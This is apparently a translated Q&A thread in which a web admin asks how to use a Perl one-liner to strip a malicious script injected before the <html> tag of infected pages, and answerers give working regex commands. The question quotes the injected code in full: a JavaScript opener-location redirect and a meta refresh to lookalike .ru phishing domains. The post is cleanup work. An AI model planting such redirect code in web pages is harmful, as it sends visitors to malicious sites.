如何使用Perl命令替换标记之前的所有内容?

时间:2013-07-13 01:34:41

标签: regex perl unix

我管理的网络服务器上的文件夹最近被感染了,并且在整个文件的开放<html>标记之前放置了一个恶意脚本。我正在尝试执行perl字符串替换脚本来清除它。

恶意文件看起来像这样:

<script language="JavaScript">
parent.window.opener.location="http://vkk.coom.ny8pbpk.ru?nhzwhhh=ZE9taWlsX2nkPRE0LmZub3ffaUQ9PTM3MCbjb0RlNWFlZnrvaEx2b2JydWLuYUJxfwC%3D%3D";
</script>
<meta http-equiv="refresh" content="0;URL=http://yandex.ru.ny8pbpk.ru?pk=i%2FGWhteXsNcf0qzPwdiVgMkkhvrG1YbO25gYgPqe2saQmdIDmeiUlsiXmNEQmPCfhMSD5" />
<html>
<head>
......and the file goes on

我和Regex混淆了,我试图从其他StackOverflow帖子中尽可能多地收集有关如何使用perl的字符串替换的信息。我遇到的最大问题是让它在多行上运行。

这是我到目前为止所拥有的:

perl -0777 -i -pe 's/\s*<html>/<html>/s' index.html    

这似乎没有效果。如果我将第二个<html>更改为<foobar>,它会正确地替换为foobar,但它会忽略前面的所有内容。

据我所知,-0777标志应该“啜饮”为一行,而\s*应该匹配<html>之前的整个字符串,但同样,我的正则表达式是缺乏。非常感谢任何帮助!

3 个答案:

答案 0 :(得分:2)

试试这个:

perl -0777 -i -pe 's/^.*(?=<html>)//s' index.html

或更安全有效的模式:

perl -0777 -i -pe 's/^(?>[^<]++|<(?!html>))*(?=<html>)//' index.html

答案 1 :(得分:1)

\ s *太具体了。你不仅希望在之前匹配空格。尝试。*匹配之前的所有内容

答案 2 :(得分:0)

\s*应为[\s\S]*,因此它与所有字符匹配。

我发现这是一个很好的参考:http://www.cs.tut.fi/~jkorpela/perl/regexp.html

所以最后的工作命令是:

perl -0777 -i -pe 's/[\s\S]*<html>/<html>/s' index.html